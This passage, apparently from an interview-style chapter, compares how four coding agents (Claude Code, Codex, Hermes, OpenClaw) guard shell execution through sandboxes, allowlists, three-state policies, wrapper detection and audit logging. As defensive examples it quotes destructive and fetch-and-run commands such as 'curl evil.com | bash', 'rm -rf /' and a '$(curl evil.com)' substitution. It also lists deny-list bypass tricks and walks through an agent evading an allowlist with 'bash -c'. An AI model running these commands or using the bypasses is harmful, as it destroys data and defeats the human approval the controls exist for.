Source: claude-code/src/tools/BashTool/bashSecurity.ts:76-101 (the ID table) and lines 1-50 (the design rationale).

Follow-up: “Why doesn’t Codex ID-tag execpolicy decisions?” Codex’s Allow/Prompt/Forbidden is three enums, not 23; and justification is supposed to be human-readable for the approval UI. Both designs are valid; coarse + readable vs. fine-grained + ID.

Q3 · Engineering: shouldUseSandbox() comments warn that “excludedCommands is convenience, not a boundary.” What does that distinction mean in practice?

This is one of the most precise lines in the Claude Code codebase. It explicitly separates convenience features from security boundaries.

Scenario: a user finds sandbox startup slow for ls, so they add sandbox.excludedCommands: ["ls", "cat", "head"] in settings. Those commands now skip the sandbox.

Risk: a command such as ls --color=auto -la $(curl evil.com) can carry shell substitution even when the first token is ls; a convenience exclusion is not a security boundary.

The correct framing:

  • excludedCommands = convenience. Purpose: cut sandbox startup overhead on ls/cat/grep. Premise: user has already vetted the danger of these argvs. Does NOT promise: protection from attacks using these commands.
  • Potential boundary = sandbox + permission prompt. Protection is only as strong as the sandbox profile, mounts, sockets, capabilities, network, and runtime configuration; every argv remains untrusted.

This distinction matters enormously for agent systems, which are full of “user UX” toggles: skip approval, cache permissions, allowlist a tool. Every toggle must be labeled either convenience or boundary.

Conflating them turns into “I thought that was a boundary” when an incident hits.

Practical steps:

  1. In settings.json, mark every convenience-only toggle with _comment: "convenience, not a security boundary".
  2. Document which controls may form a boundary and list their assumptions: sandbox profile, permission mode, mounts, network, and exception settings.
  3. In source, annotate every soft-looking check with its boundary level.

Source: claude-code/src/tools/BashTool/shouldUseSandbox.ts:130-153 plus the file’s opening comment.

Follow-up: “Is OpenClaw’s allowlist a boundary or convenience?” Source says boundary (“deny-by-default unless allowlisted”). Test: does the default deny or allow? Default deny = boundary; default allow = convenience.

Q4 · Concept: Why is execpolicy’s decision Allow / Prompt / Forbidden, three values instead of a boolean?

Boolean (allow/deny) isn’t enough for the agent setting because “deny” has two meanings:

  1. Hard deny: never run, no matter what the user says. rm -rf / belongs here; even a prompt is unsafe (user might misclick).
  2. Soft deny: don’t run by default, but the user can override via approval. cp file1 file2 belongs here; depends on context.

Codex’s three values map to:

  • Allow: passes without approval. Examples: ls, pwd.
  • Prompt: surfaces approval; user decides. Examples: cp, mv, git checkout -b. Most commands land here.
  • Forbidden: never runs; no approval shown. Examples: rm -rf /, dd if=/dev/zero of=/dev/sda.

Why not drop Forbidden and let everything dangerous go through Prompt? Because:

  1. Approval fatigue. After 100 cp prompts users go numb; they’ll click yes on rm -rf / too. Forbidden is the escape hatch for “no scenario warrants this.”
  2. CI / unattended mode. With approval_policy="never", Prompt auto-rejects, but Forbidden carries cleaner semantics: “rejected by rule, not by absent approver.”
  3. Strictest match wins. With multiple rule hits, Forbidden > Prompt > Allow. Rules layer without exclusivity.

There’s also an implicit fourth value: no rule matched = default Prompt. The fallback.

Source: codex/codex-rs/execpolicy/src/decision.rs:1-28 (the enum + the approval_policy="never" comment).

Follow-up: “Is Claude Code’s decision also three-valued?” It’s two-dimensional: allow/deny × in-sandbox/out-of-sandbox. More expressive but more complex. Codex’s three-state + separate sandbox_mode is cleaner.

Q5 · Concept: Hermes validates workdir with an allowlist regex ^[A-Za-z0-9/\\:_\-.~ +@=,]+$. Why allowlist instead of deny-list?

The Hermes source comment uses absolute wording to argue that a deny-list can miss novel metacharacters. That is the source author’s judgement, not a general law adopted by this article. The supportable risk is narrower: a deny-list covers known patterns, so rule updates can lag new shell syntax, encodings, or combinations.

Concrete scenario: add $, ;, &&, backticks, | to the deny list (cmd substitution, separator, chain, backticks, pipe). Looks complete? Attacker uses:

  • $IFS$()cmd (IFS injection)
  • Control characters \x01cmd
  • Unicode whitespace (U+00A0, U+2007) as separators
  • Brace expansion {a,b}
  • Glob *
  • Here-docs <<EOF
  • Comments # to truncate

Each newly observed bypass may require another deny rule. Without a representative corpus and an update process, coverage can lag new syntax or combinations; that is a maintenance risk, not an inevitable outcome for every system.

Allowlist flips it: “only [A-Za-z0-9/\\:_\-.~ +@=,] may appear.” A character whitelist by construction excludes novel vectors.

Trade-off: legitimate workdirs with ( or emoji get rejected. /home/user/projects/foo and C:\Users\...\foo are common examples, not evidence that the allowlist covers your paths.

Engineering philosophy: default deny + explicit allow. Apply across the shell-safety stack:

  1. Default deny all commands; allowlist permits some.
  2. Default deny all flags; safe-bin profile permits some.
  3. Default deny all characters; allowlist regex permits some.
  4. Default sandbox; only excludedCommands skips.

Multiple deny layers can provide defense in depth when they are enabled and independently tested. A character allowlist or sandbox default does not prove that a later layer will catch every missed case.

Source: hermes/tools/terminal_tool.py:150-177 (the regex + the allowlist-vs-deny-list comment).

Follow-up: “Is allowlist strictly safer than deny-list?” Not strictly; its weakness is legitimate-use false positives. Users with ( or = in workdirs hit walls. Choose: extend the allowlist (re-audit) or provide “user overrides default.” Absolute safety doesn’t exist; allowlist trades “bypass” risk for “false positive” risk, and the latter is bounded.

Q6 · Practical: You’re adding shell interception to an existing agent. What’s the first step?

Start by choosing the execution interface. Prefer argv plus shell=False where possible. If you must accept shell text, log it and route complex syntax to approval before adding heavier parsing or a sandbox.

Stage 1: represent a small set of read-only programs as argv rules, and enforce path containment separately. Use shlex only for diagnostics; a first-token match is not an execution boundary for shell text.

import shlex
ALLOWLIST = set(open("safe-cmd.txt").read().split())
def check(argv: list[str]) -> tuple[str, str]:
"""Return a policy decision; execute with shell=False after path checks."""
if not argv:
return "prompt", "empty command"
if argv[0] in {"sh", "bash", "zsh", "cmd.exe", "eval"}:
return "prompt", "shell wrapper requires review"
if argv[0] in ALLOWLIST:
return "allow", ""
return "prompt", f"program '{argv[0]}' is not in the allowlist"

Stage 2: identify sh -c, bash -c, zsh -c, eval, and similar wrappers. Without a proven nested parser, send them to approval instead of guessing at the inner command.

Stage 3: validate workdir characters, realpath containment, symlinks, and mounts; a character allowlist covers only one part of that boundary.

Stage 4: add a hard-deny list suited to the threat model, then measure false positives and misses against labelled command samples. This maps to Codex’s Forbidden state.

Stage 5: connect the prompt to the actual entry point and record pending, approved, denied, and timed-out states.

Later:

  • DSL extraction (Codex style): rules + self-tests.
  • tree-sitter (Claude Code style): per-command AST parsing.
  • Safe-bin profiles (OpenClaw style).
  • Sandboxes (all four): bubblewrap / sandbox-exec / docker.

Why defer heavier controls to the first iteration?

  1. You don’t know what the user actually runs. Start with allowlist plus prompts for a representative traffic window, then decide which commands graduate.
  2. Approval is the bottleneck. Get the prompt channel working first or there’s nowhere for unfiltered traffic to go.
  3. A DSL is a maintenance decision. Start with a testable small policy, then extract it when rule count, review frequency, or team ownership makes the boundary worthwhile.

Source ladder: simplest to fanciest: Hermes terminal_tool.py:150-200 → Codex execpolicy/src/policy.rs:34-260 → Claude Code BashTool/bashSecurity.ts:1-300.

Follow-up: “Allowlist too strict; model gets prompted constantly?” Watch prompt logs, batch-graduate high-frequency safe commands. Like RBAC role tuning; allowlist evolves over weeks, not days.

Q7 · Architecture: Why does OpenClaw deny sh -c / bash -c under allowlist mode specifically?

Because shell wrappers are the classic allowlist bypass.

Bypass path:

  1. User sets security=allowlist with ["git", "ls", "cat"].
  2. Model wants rm -rf .git; rm not on list, rejected.
  3. Model rewrites: bash -c "rm -rf .git". If bash is on the list (likely, since some scripts need it), head-token check passes.
  4. The string after bash -c bypasses per-binary checking; rm -rf .git runs inside the bash subprocess.

OpenClaw’s evaluateSystemRunPolicy slaps shellWrapperBlocked = true under security=allowlist, regardless of whether the wrapper itself is in the allowlist. The bypass path is sealed.

Generalization: every meta-command needs special handling. Wrappers extend beyond sh -c:

  • eval "...": dynamic string eval
  • exec ...: replaces the current process
  • env CMD=... target: payload via env var
  • xargs cmd ...: commands from stdin
  • find ... -exec cmd {}: exec embedded in find
  • awk 'BEGIN{system("cmd")}': awk’s system() call
  • perl -e 'system("cmd")': perl’s system

OpenClaw covers most of these in exec-obfuscation-detect.ts.

Discipline: any program that can construct commands from strings IS a wrapper. Allowlist mode denies them by default; exceptions go through explicit case-by-case approval (e.g., find -exec).

Similar designs:

  • Codex’s execpolicy bumps bash/sh/zsh to Prompt, surfacing the full string for human review.
  • Claude Code’s #5 SHELL_METACHARACTERS catches wrapper-style calls into extra checks.
  • Hermes scans for wrapper patterns via tirith.

Source: openclaw/src/node-host/exec-policy.ts:52-90 (the shellWrapperBlocked decision + Windows cmd /c special case).

Follow-up: “Can I just disable wrappers entirely?” In theory yes, in practice no. Legitimate scripts (Makefile, CI configs, package.json scripts) need sh -c. Realistic answer: default prompt + UI shows full wrapper + recommend “use the binary directly if possible.”

Q8 · Engineering: What’s the cost of Hermes’s 7 TERMINAL_ENV backends? Why don’t the others do it?

The 7 backends are local / docker / modal / ssh / singularity / daytona / managed-modal. Costs are real:

  1. Per-backend dependencies differ. docker needs docker.sock; modal needs the Modal Python SDK + API key; ssh needs paramiko + creds; singularity needs a binary; daytona needs its SDK. Requirements.txt bloats.
  2. Per-backend spawn protocols differ. local is subprocess.Popen; docker is client.containers.run; modal is Image.from_dockerfile + sb.exec; ssh is client.exec_command. Unifying the interface forces re-implementing spawn, log streaming, and cleanup per backend.
  3. Per-backend error shapes differ. local raises OSError, docker raises docker.errors.APIError, modal raises modal.exception.Error. The wrapper has to normalize all of these.
  4. Per-backend lifecycle differs. local processes die with the agent; docker containers need --rm; modal sandboxes have idle timeouts; ssh sessions stay open. There are 200+ lines just for lifecycle in terminal_tool.py.
  5. Cold-start latency differs. Local, Docker, and remote sandboxes have different startup paths; image pulls, network, and credential setup can dominate the first run. Measure the target image and region before choosing synchronous or background execution.

Why don’t others do it?

  • Codex targets CLI / CI; Landlock + seatbelt at the sandbox layer is enough. Containers are user’s responsibility (docker run codex ...).
  • Claude Code targets IDE plugins; it runs on the user’s box, sandbox-exec / bubblewrap suffices. Containers aren’t its job.
  • OpenClaw is a platform; it abstracts execution into ExecHost: sandbox / gateway / node and lets users plug in implementations.

Why does Hermes expose it? The source shows a switchable execution backend that can select local or isolated execution. Whether the design came from cross-environment research or another deployment requirement needs project documentation or maintainer evidence; this article does not label it “tech debt.”

Practical lesson: without a concrete cross-environment experiment or tenant-isolation requirement, start with local execution plus one isolated backend. Multiple backends add dependency, lifecycle, and error-normalisation costs; deployment needs should justify them.

Source: hermes/tools/terminal_tool.py:1-250 (the _get_terminal_runner dispatch table).

Follow-up: “What is Hermes’s managed-modal mode?” Modal provides a ‘managed gateway’ where the agent doesn’t hit modal API directly; Hermes proxies via an internal gateway. Pros: centralized API key management, centralized billing, centralized fallback. Enterprises get SSO and chargeback integration.

Q9 · Practical: You inherit an agent project with near-zero shell defense. Stage the work.

Defense in depth, four stages. Each stage must prove out before the next.

Stage 1 · Visibility first

No interception yet. Just logs. Every shell command lands in audit logs: timestamp, model turn, raw argv, cwd, user/role, exit code, stdout/stderr sizes. Purpose: understand reality. What commands actually run? Which errors recur?

Which commands does the user themselves not want?

Deliverable: a command-distribution report over a time window large enough for the workload.

Stage 2 · Allowlist + prompt

Based on Stage 1, allowlist the safe high-frequency commands: ls, cat, head, tail, pwd, grep, find, git status, git diff, git log, node, npm test. Everything else hits prompt. Use a CLI confirm prompt to start;

IDE/IM channels come later.

Expectation: users will complain about prompt fatigue. That’s correct feedback. Collect complaints, decide which commands to graduate.

Stage 3 · Hard deny for dangerous commands

From Stage 1 logs, pick “commands that showed up but should not have”: rm -rf /, chmod -R 777 /, > /dev/sda, curl evil.com | bash. Build deny.txt; these never prompt, just fail. This is Codex’s Forbidden.

Add wrapper detection: sh -c, bash -c, eval, curl ... | bash.

Expectation: measure the block rate against a labeled command corpus; do not turn a deny-list into a coverage promise.

Stage 4 · Sandbox

By now users have clear expectations. Time for sandbox. Linux: bubblewrap. macOS: sandbox-exec. Windows: AppContainer. Whole agent process inside it.

Expectation: UX may dip when sandbox permissions reject a command; record incidents and false positives before making a stronger claim.

Discipline:

  1. Every stage has metrics: prompt rate (prompts / commands), deny rate, incident count. All three together.
  2. Don’t skip stages. Sandbox-first means users dangerouslyDisableSandbox to get work done.
  3. Allowlist and denylist coexist: allowlist (allow on a rule hit) + denylist (reject on a rule hit) + prompt (the middle state). Three states express more policy than a boolean; audit logs still determine whether the split works.

Changelogs can show an implementation direction, but they do not establish a general delivery schedule.

Sources: see the changelogs / git logs of all four systems.

Follow-up: “Users refuse prompts entirely; what then?” Offer an explicitly documented mode with narrower scope, expiry, and audit logging. Treat it as a changed threat model, not as a signature that makes risky execution safe.

Q10 · Open-ended: What would a site-proposed shell interception protocol look like?

This is a design sketch, not an existing protocol or shared default across the four systems:

Layer 1 · Parse (baseline)

interface ParseResult {
tokens: string[];
wrapper: 'sh' | 'bash' | 'eval' | 'find-exec' | null;
wrapped_command?: ParseResult; // recursive
obfuscation_signals: string[];
}

Tokenise argv as an entry point, but do not treat it as shell-semantic parsing. For sh -c, bash -c, eval, and similar wrappers, route to approval unless a nested parser has been tested against representative commands. Wrapper parsing in the pinned Codex path is weaker and disabled by default.

Layer 2 · Policy DSL (recommended)

prefix_rule(
pattern=["git", "reset", "--hard"],
decision="forbidden",
justification="destructive: rewrites local history",
match=[["git", "reset", "--hard"]],
not_match=[["git", "reset", "--keep"]],
)

Borrow Codex’s execpolicy. Rules in their own file, git-diffable, self-testing. Decisions: allow / prompt / forbidden; strictest wins.

Layer 3 · Per-binary profile (advanced)

interface SafeBinProfile {
binary: string;
allowed_flags: string[];
denied_flags: string[];
min_positional?: number;
max_positional?: number;
long_flag_abbreviations: 'expand' | 'reject';
}

Borrow OpenClaw safe-bin. Only write profiles for binaries that really need fine-grained control (git / docker / kubectl). ls / cat don’t need one.

Layer 4 · Approval channel (when human review is in scope)

interface ApprovalRequest {
cmd: string;
justification: string;
decision_history: string[];
ttl?: 'once' | 'session' | 'always';
}
interface ApprovalChannel {
send(req: ApprovalRequest): Promise<ApprovalDecision>;
}

Hermes callback + OpenClaw JSONL socket. CLI / IDE / IM each get an implementation.

Layer 5 · Execution backend (when the threat model requires it)

interface ExecBackend {
spawn(parsed: ParseResult, opts: SpawnOpts): Promise<ExecResult>;
}
// defaults: local, sandbox-exec/bubblewrap, docker

Borrow Hermes’s multi-backend idea but trim to 3 (local + sandbox + container). Modal / daytona stay as user extensions.

Layer 6 · Audit (when operations or compliance require it)

interface AuditEvent {
ts: number;
parsed: ParseResult;
decision: 'allow' | 'prompt' | 'forbidden';
decision_source: string;
approval_decision?: string;
exec_backend: string;
exit_code?: number;
stdout_size?: number;
pii_check_ids: number[];
}

Numeric IDs (Claude Code) + JSONL on disk + SIEM bridge.

Overall API

const shellGuard = createShellGuard({
policy_file: './shell.policy',
default_decision: 'prompt',
safe_bin_profiles: ['./profiles/git.json', './profiles/docker.json'],
approval_channel: cliApprovalChannel(),
exec_backend: 'sandbox',
audit_sink: jsonlFileSink('./shell-audit.log'),
});
const result = await shellGuard.run('git push --force');

Strengths:

  • Layered, independently testable.
  • Default deny at the bottom; defense in depth above.
  • ID-tagged audit; PII safe.
  • Rules diff via git.

Relationship to the four snapshots: the sketch combines external rules, AST or wrapper handling, per-binary profiles, execution isolation, and audit interfaces. Each layer needs its own threat model and cross-platform corpus; the component list does not establish security strength.

Estimate work from supported shells and platforms, parser coverage, policy size, isolation backends, approval channels, audit retention, and adversarial tests. A fixed person-month estimate has no useful basis before that scope exists.

Sources: composite of the four implementations in this chapter.

Follow-up: “Cross-language?” Yes; keep the core API JSON-in / JSON-out. Per-language executors (Rust / Go / TS / Python) share rule files and safe-bin profiles. Codex’s Starlark already follows this pattern.